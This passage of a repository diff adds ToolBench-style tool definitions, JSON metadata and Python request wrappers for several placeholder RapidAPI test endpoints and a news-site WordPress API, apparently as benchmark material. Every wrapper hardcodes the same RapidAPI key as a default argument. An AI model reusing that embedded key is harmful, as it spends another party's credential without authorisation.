+ "home_url": "https://rapidapi.com/sankaranarayanan1990/api/testapi131/",
5
+ "name": "TestAPI_v4",
6
+ "title": "TestAPI",
7
+ "pricing": "FREE",
8
+ "tool_name": "TestAPI_v4",
9
+ "score": {
10
+ "avgServiceLevel": 0,
11
+ "avgLatency": 0,
12
+ "avgSuccessRate": 0,
13
+ "popularityScore": 0,
14
+ "__typename": "Score"
15
+ },
16
+ "host": "testapi131.p.rapidapi.com",
17
+ "api_list": [
18
+ {
19
+ "name": "getTest",
20
+ "url": "https://testapi131.p.rapidapi.com/test/1",
21
+ "description": "get",
22
+ "method": "GET",
23
+ "required_parameters": [
24
+ {
25
+ "name": "id",
26
+ "type": "string",
27
+ "description": "",
28
+ "default": "1"
29
+ }
30
+ ],
31
+ "optional_parameters": [
32
+ {
33
+ "name": "x",
34
+ "type": "STRING",
35
+ "description": "",
36
+ "default": "xx"
37
+ }
38
+ ],
39
+ "code": "import requests\n\nurl = \"https://testapi131.p.rapidapi.com/test/1\"\nquerystring = {\"x\": \"xx\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testapi131.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
40
+ "convert_code": "import requests\n\nurl = \"https://testapi131.p.rapidapi.com/test/{is_id}\"\nquerystring = {\"x\": \"xx\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testapi131.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
41
+ "test_endpoint": ""
42
+ }
43
+ ],
44
+ "standardized_name": "testapi_v4"
45
+ }
toolbench/toolenv/tools/Other/testapi_v4/api.py ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def gettest(is_id: str, x: str='xx', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "get"
12
+
13
+ """
14
+ url = f"https://testapi131.p.rapidapi.com/test/{is_id}"
15
+ querystring = {}
16
+ if x:
17
+ querystring['x'] = x
18
+
19
+ headers = {
20
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
21
+ "X-RapidAPI-Host": "testapi131.p.rapidapi.com"
22
+ }
23
+
24
+
25
+ response = requests.get(url, headers=headers, params=querystring)
26
+ try:
27
+ observation = response.json()
28
+ except:
29
+ observation = response.text
30
+ return observation
31
+
toolbench/toolenv/tools/Other/testchinen.json ADDED
@@ -0,0 +1,157 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "tool_name": "TESTCHINEN",
3
+ "tool_description": "This is the test API for Rakuten Support.",
4
+ "title": "TESTCHINEN",
5
+ "pricing": "FREEMIUM",
6
+ "score": null,
7
+ "home_url": "https://rapidapi.com/masakirakuten/api/testchinen/",
8
+ "host": "testchinen.p.rapidapi.com",
9
+ "api_list": [
10
+ {
11
+ "name": "testtest2",
12
+ "url": "https://testchinen.p.rapidapi.com/",
13
+ "description": "This is test the test endpoint for Rakuten support.\nThis is test the test endpoint for Rakuten support.",
14
+ "method": "POST",
15
+ "required_parameters": [
16
+ {
17
+ "name": "teststring3",
18
+ "type": "ENUM",
19
+ "description": "",
20
+ "default": ""
21
+ },
22
+ {
23
+ "name": "teststring",
24
+ "type": "ENUM",
25
+ "description": "",
26
+ "default": ""
27
+ }
28
+ ],
29
+ "optional_parameters": [
30
+ {
31
+ "name": "teststring2",
32
+ "type": "STRING",
33
+ "description": "",
34
+ "default": "teststring"
35
+ }
36
+ ],
37
+ "code": "import requests\n\nurl = \"https://testchinen.p.rapidapi.com/\"\nquerystring = {\"teststring3\": teststring3, \"teststring\": teststring, \"teststring2\": teststring2}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testchinen.p.rapidapi.com\"\n}\n\nresponse = requests.post(url, headers=headers, params=querystring)\n\nprint(response.json())\n",
38
+ "statuscode": 111,
39
+ "body": "",
40
+ "headers": "",
41
+ "schema": ""
42
+ },
43
+ {
44
+ "name": "testtest1",
45
+ "url": "https://testchinen.p.rapidapi.com/",
46
+ "description": "This is test the test endpoint for Rakuten support.\nThis is test the test endpoint for Rakuten support.",
47
+ "method": "GET",
48
+ "required_parameters": [],
49
+ "optional_parameters": [
50
+ {
51
+ "name": "aaa5",
52
+ "type": "STRING",
53
+ "description": "",
54
+ "default": "aaa"
55
+ },
56
+ {
57
+ "name": "ddd2",
58
+ "type": "STRING",
59
+ "description": "",
60
+ "default": "ddd"
61
+ },
62
+ {
63
+ "name": "ccc4",
64
+ "type": "STRING",
65
+ "description": "",
66
+ "default": "bbb"
67
+ },
68
+ {
69
+ "name": "bbb3",
70
+ "type": "STRING",
71
+ "description": "",
72
+ "default": "ccc"
73
+ },
74
+ {
75
+ "name": "eee1",
76
+ "type": "STRING",
77
+ "description": "",
78
+ "default": "eee"
79
+ }
80
+ ],
81
+ "code": "import requests\n\nurl = \"https://testchinen.p.rapidapi.com/\"\nquerystring = {\"aaa5\": aaa5, \"ddd2\": ddd2, \"ccc4\": ccc4, \"bbb3\": bbb3, \"eee1\": eee1}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testchinen.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers, params=querystring)\n\nprint(response.json())\n",
82
+ "statuscode": 111,
83
+ "body": "",
84
+ "headers": "",
85
+ "schema": ""
86
+ },
87
+ {
88
+ "name": "testtest0",
89
+ "url": "https://testchinen.p.rapidapi.com/",
90
+ "description": "This is test the test endpoint for Rakuten support.\nThis is test the test endpoint for Rakuten support.",
91
+ "method": "GET",
92
+ "required_parameters": [],
93
+ "optional_parameters": [
94
+ {
95
+ "name": "param1",
96
+ "type": "STRING",
97
+ "description": "",
98
+ "default": "param1"
99
+ },
100
+ {
101
+ "name": "param4",
102
+ "type": "STRING",
103
+ "description": "",
104
+ "default": "param3"
105
+ },
106
+ {
107
+ "name": "param2",
108
+ "type": "STRING",
109
+ "description": "",
110
+ "default": ""
111
+ },
112
+ {
113
+ "name": "param3",
114
+ "type": "STRING",
115
+ "description": "",
116
+ "default": "param2"
117
+ }
118
+ ],
119
+ "code": "import requests\n\nurl = \"https://testchinen.p.rapidapi.com/\"\nquerystring = {\"param1\": param1, \"param4\": param4, \"param3\": param3}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testchinen.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers, params=querystring)\n\nprint(response.json())\n",
120
+ "statuscode": 111,
121
+ "body": "",
122
+ "headers": "",
123
+ "schema": ""
124
+ },
125
+ {
126
+ "name": "testtest2",
127
+ "url": "https://testchinen.p.rapidapi.com/",
128
+ "description": "This is test the test endpoint for Rakuten support.\nThis is test the test endpoint for Rakuten support.",
129
+ "method": "POST",
130
+ "required_parameters": [
131
+ {
132
+ "name": "teststring3",
133
+ "type": "ENUM",
134
+ "description": "",
135
+ "default": ""
136
+ },
137
+ {
138
+ "name": "teststring",
139
+ "type": "ENUM",
140
+ "description": "",
141
+ "default": ""
142
+ }
143
+ ],
144
+ "optional_parameters": [
145
+ {
146
+ "name": "teststring2",
147
+ "type": "STRING",
148
+ "description": "",
149
+ "default": "teststring"
150
+ }
151
+ ],
152
+ "code": "import requests\n\nurl = \"https://testchinen.p.rapidapi.com/\"\nquerystring = {\"teststring3\": \"\", \"teststring\": \"\", \"teststring2\": \"teststring\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testchinen.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
153
+ "convert_code": "import requests\n\nurl = \"https://testchinen.p.rapidapi.com/\"\nquerystring = {\"teststring3\": \"\", \"teststring\": \"\", \"teststring2\": \"teststring\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testchinen.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
154
+ "test_endpoint": ""
155
+ }
156
+ ]
157
+ }
toolbench/toolenv/tools/Other/testchinen/api.py ADDED
@@ -0,0 +1,70 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def testtest1(aaa5: str='aaa', ddd2: str='ddd', ccc4: str='bbb', bbb3: str='ccc', eee1: str='eee', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "This is test the test endpoint for Rakuten support.
12
+ This is test the test endpoint for Rakuten support."
13
+
14
+ """
15
+ url = f"https://testchinen.p.rapidapi.com/"
16
+ querystring = {}
17
+ if aaa5:
18
+ querystring['aaa5'] = aaa5
19
+ if ddd2:
20
+ querystring['ddd2'] = ddd2
21
+ if ccc4:
22
+ querystring['ccc4'] = ccc4
23
+ if bbb3:
24
+ querystring['bbb3'] = bbb3
25
+ if eee1:
26
+ querystring['eee1'] = eee1
27
+
28
+ headers = {
29
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
30
+ "X-RapidAPI-Host": "testchinen.p.rapidapi.com"
31
+ }
32
+
33
+
34
+ response = requests.get(url, headers=headers, params=querystring)
35
+ try:
36
+ observation = response.json()
37
+ except:
38
+ observation = response.text
39
+ return observation
40
+
41
+ def testtest0(param1: str='param1', param4: str='param3', param2: str=None, param3: str='param2', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
42
+ """
43
+ "This is test the test endpoint for Rakuten support.
44
+ This is test the test endpoint for Rakuten support."
45
+
46
+ """
47
+ url = f"https://testchinen.p.rapidapi.com/"
48
+ querystring = {}
49
+ if param1:
50
+ querystring['param1'] = param1
51
+ if param4:
52
+ querystring['param4'] = param4
53
+ if param2:
54
+ querystring['param2'] = param2
55
+ if param3:
56
+ querystring['param3'] = param3
57
+
58
+ headers = {
59
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
60
+ "X-RapidAPI-Host": "testchinen.p.rapidapi.com"
61
+ }
62
+
63
+
64
+ response = requests.get(url, headers=headers, params=querystring)
65
+ try:
66
+ observation = response.json()
67
+ except:
68
+ observation = response.text
69
+ return observation
70
+
toolbench/toolenv/tools/Other/testing.json ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "tool_name":"Testing",
3
+ "tool_description":"Testing",
4
+ "title":"Testing",
5
+ "pricing":"FREE",
6
+ "score":null,
7
+ "home_url":"https://rapidapi.com/richard.mccauley1/api/testing893/",
8
+ "host":"testing893.p.rapidapi.com",
9
+ "api_list":[
10
+ {
11
+ "name":"Test",
12
+ "url":"https://testing893.p.rapidapi.com/Test/api/values",
13
+ "description":"This is my first API that i am testing",
14
+ "method":"GET",
15
+ "required_parameters":[],
16
+ "optional_parameters":[],
17
+ "code":"import requests\n\nurl = \"https://testing893.p.rapidapi.com/Test/api/values\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testing893.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers)\n\nprint(response.json())\n",
18
+ "statuscode":111,
19
+ "body":"",
20
+ "headers":"",
21
+ "schema":""
22
+ }
23
+ ]
24
+ }
toolbench/toolenv/tools/Other/testing/api.py ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def test(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "This is my first API that i am testing"
12
+
13
+ """
14
+ url = f"https://testing893.p.rapidapi.com/test/api/values"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "testing893.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
toolbench/toolenv/tools/Other/testing_demo.json ADDED
@@ -0,0 +1,58 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_bc52fc46-c954-4c46-9568-6089f9e6ed44",
3
+ "tool_description": "Testing Demo",
4
+ "home_url": "https://rapidapi.com/virajvarsha22/api/testing-demo5/",
5
+ "name": "Testing Demo",
6
+ "title": null,
7
+ "pricing": "FREE",
8
+ "tool_name": "Testing Demo",
9
+ "score": {
10
+ "avgServiceLevel": 100,
11
+ "avgLatency": 192,
12
+ "avgSuccessRate": 0,
13
+ "popularityScore": 0,
14
+ "__typename": "Score"
15
+ },
16
+ "host": "testing-demo5.p.rapidapi.com",
17
+ "api_list": [
18
+ {
19
+ "name": "getbycontextual",
20
+ "url": "https://testing-demo5.p.rapidapi.com/getbycontextual/{id}",
21
+ "description": "sdfd",
22
+ "method": "GET",
23
+ "required_parameters": [
24
+ {
25
+ "name": "id",
26
+ "type": "string",
27
+ "description": "",
28
+ "default": ""
29
+ }
30
+ ],
31
+ "optional_parameters": [
32
+ {
33
+ "name": "id",
34
+ "type": "NUMBER",
35
+ "description": "",
36
+ "default": ""
37
+ }
38
+ ],
39
+ "code": "import requests\n\nurl = \"https://testing-demo5.p.rapidapi.com/getbycontextual/{id}\"\nquerystring = {\"id\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testing-demo5.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
40
+ "convert_code": "import requests\n\nurl = \"https://testing-demo5.p.rapidapi.com/getbycontextual/{id}\"\nquerystring = {\"id\": \"\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testing-demo5.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
41
+ "test_endpoint": {
42
+ "message": "Too many requests"
43
+ }
44
+ },
45
+ {
46
+ "name": "postbycontextual",
47
+ "url": "https://testing-demo5.p.rapidapi.com/postbycontextual",
48
+ "description": "xdsaaaa",
49
+ "method": "POST",
50
+ "required_parameters": [],
51
+ "optional_parameters": [],
52
+ "code": "import requests\n\nurl = \"https://testing-demo5.p.rapidapi.com/postbycontextual\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testing-demo5.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
53
+ "convert_code": "import requests\n\nurl = \"https://testing-demo5.p.rapidapi.com/postbycontextual\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testing-demo5.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
54
+ "test_endpoint": ""
55
+ }
56
+ ],
57
+ "standardized_name": "testing_demo"
58
+ }
toolbench/toolenv/tools/Other/testing_demo/api.py ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def getbycontextual(is_id: str, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "sdfd"
12
+
13
+ """
14
+ url = f"https://testing-demo5.p.rapidapi.com/getbycontextual/{is_id}"
15
+ querystring = {}
16
+ if is_id:
17
+ querystring['id'] = is_id
18
+
19
+ headers = {
20
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
21
+ "X-RapidAPI-Host": "testing-demo5.p.rapidapi.com"
22
+ }
23
+
24
+
25
+ response = requests.get(url, headers=headers, params=querystring)
26
+ try:
27
+ observation = response.json()
28
+ except:
29
+ observation = response.text
30
+ return observation
31
+
toolbench/toolenv/tools/Other/testingcontacts.json ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_dd8d30c0-3e07-42b4-abf9-02e21d470557",
3
+ "tool_description": "Testing Contacts",
4
+ "home_url": "https://rapidapi.com/rgarg1298/api/testingcontacts/",
5
+ "name": "TestingContacts",
6
+ "title": "TestingContacts",
7
+ "pricing": "FREE",
8
+ "tool_name": "TestingContacts",
9
+ "score": null,
10
+ "host": "testingcontacts.p.rapidapi.com",
11
+ "api_list": [
12
+ {
13
+ "name": "StoreContactInfo",
14
+ "url": "https://testingcontacts.p.rapidapi.com/contacts",
15
+ "description": "StoreContactInfo",
16
+ "method": "POST",
17
+ "required_parameters": [],
18
+ "optional_parameters": [],
19
+ "code": "import requests\n\nurl = \"https://testingcontacts.p.rapidapi.com/contacts\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testingcontacts.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
20
+ "convert_code": "import requests\n\nurl = \"https://testingcontacts.p.rapidapi.com/contacts\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"testingcontacts.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
21
+ "test_endpoint": ""
22
+ }
23
+ ]
24
+ }
toolbench/toolenv/tools/Other/the_south_asian_express.json ADDED
@@ -0,0 +1,982 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_2f0a2fb4-3436-4c22-8082-06de57bf88d5",
3
+ "tool_description": "Wordpress v2 API",
4
+ "home_url": "https://rapidapi.com/www.sae.news/api/the-south-asian-express/",
5
+ "name": "The South Asian Express",
6
+ "title": "The South Asian Express",
7
+ "pricing": "FREE",
8
+ "tool_name": "The South Asian Express",
9
+ "score": {
10
+ "avgServiceLevel": 0,
11
+ "avgLatency": 0,
12
+ "avgSuccessRate": 0,
13
+ "popularityScore": 0.2,
14
+ "__typename": "Score"
15
+ },
16
+ "host": "the-south-asian-express.p.rapidapi.com",
17
+ "api_list": [
18
+ {
19
+ "name": "get-/comments-ccfc31c2-0e94-4db6-9956-382d4c9efe6e",
20
+ "url": "https://the-south-asian-express.p.rapidapi.com/comments",
21
+ "description": "Scope under which the request is made; determines fields present in response.",
22
+ "method": "GET",
23
+ "required_parameters": [],
24
+ "optional_parameters": [
25
+ {
26
+ "name": "context",
27
+ "type": "STRING",
28
+ "description": "Scope under which the request is made; determines fields present in response.",
29
+ "default": "string"
30
+ }
31
+ ],
32
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/comments\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
33
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/comments\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
34
+ "test_endpoint": "",
35
+ "statuscode": 200,
36
+ "schema": {
37
+ "type": "object",
38
+ "properties": {
39
+ "get": {
40
+ "type": "string"
41
+ },
42
+ "parameters": {
43
+ "type": "array"
44
+ },
45
+ "errors": {
46
+ "type": "array"
47
+ },
48
+ "results": {
49
+ "type": "integer"
50
+ },
51
+ "response": {
52
+ "type": "array",
53
+ "items": {
54
+ "type": "object"
55
+ }
56
+ }
57
+ }
58
+ }
59
+ },
60
+ {
61
+ "name": "get-/statuses-c0a5199c-546e-4cab-8f8f-73c99e62c988",
62
+ "url": "https://the-south-asian-express.p.rapidapi.com/statuses",
63
+ "description": "Scope under which the request is made; determines fields present in response.",
64
+ "method": "GET",
65
+ "required_parameters": [],
66
+ "optional_parameters": [
67
+ {
68
+ "name": "context",
69
+ "type": "STRING",
70
+ "description": "Scope under which the request is made; determines fields present in response.",
71
+ "default": "string"
72
+ }
73
+ ],
74
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/statuses\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
75
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/statuses\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
76
+ "test_endpoint": "",
77
+ "statuscode": 200,
78
+ "schema": {
79
+ "type": "object",
80
+ "properties": {
81
+ "get": {
82
+ "type": "string"
83
+ },
84
+ "parameters": {
85
+ "type": "array"
86
+ },
87
+ "errors": {
88
+ "type": "array"
89
+ },
90
+ "results": {
91
+ "type": "integer"
92
+ },
93
+ "response": {
94
+ "type": "array",
95
+ "items": {
96
+ "type": "object"
97
+ }
98
+ }
99
+ }
100
+ }
101
+ },
102
+ {
103
+ "name": "get-/tags-c0b25f9e-c759-46ae-8d6f-14e6404e49a3",
104
+ "url": "https://the-south-asian-express.p.rapidapi.com/tags",
105
+ "description": "List Tags",
106
+ "method": "GET",
107
+ "required_parameters": [],
108
+ "optional_parameters": [
109
+ {
110
+ "name": "context",
111
+ "type": "STRING",
112
+ "description": "Scope under which the request is made; determines fields present in response.",
113
+ "default": "string"
114
+ }
115
+ ],
116
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/tags\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
117
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/tags\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
118
+ "test_endpoint": "",
119
+ "statuscode": 200,
120
+ "schema": {
121
+ "type": "object",
122
+ "properties": {
123
+ "get": {
124
+ "type": "string"
125
+ },
126
+ "parameters": {
127
+ "type": "array"
128
+ },
129
+ "errors": {
130
+ "type": "array"
131
+ },
132
+ "results": {
133
+ "type": "integer"
134
+ },
135
+ "response": {
136
+ "type": "array",
137
+ "items": {
138
+ "type": "object"
139
+ }
140
+ }
141
+ }
142
+ }
143
+ },
144
+ {
145
+ "name": "get-/posts/{id}/revisions-16a458a3-dbc6-4bec-aee5-93db717a117a",
146
+ "url": "https://the-south-asian-express.p.rapidapi.com/posts/string/revisions",
147
+ "description": "Get post revisions",
148
+ "method": "GET",
149
+ "required_parameters": [
150
+ {
151
+ "name": "id",
152
+ "type": "STRING",
153
+ "description": "Id of object",
154
+ "default": "string"
155
+ }
156
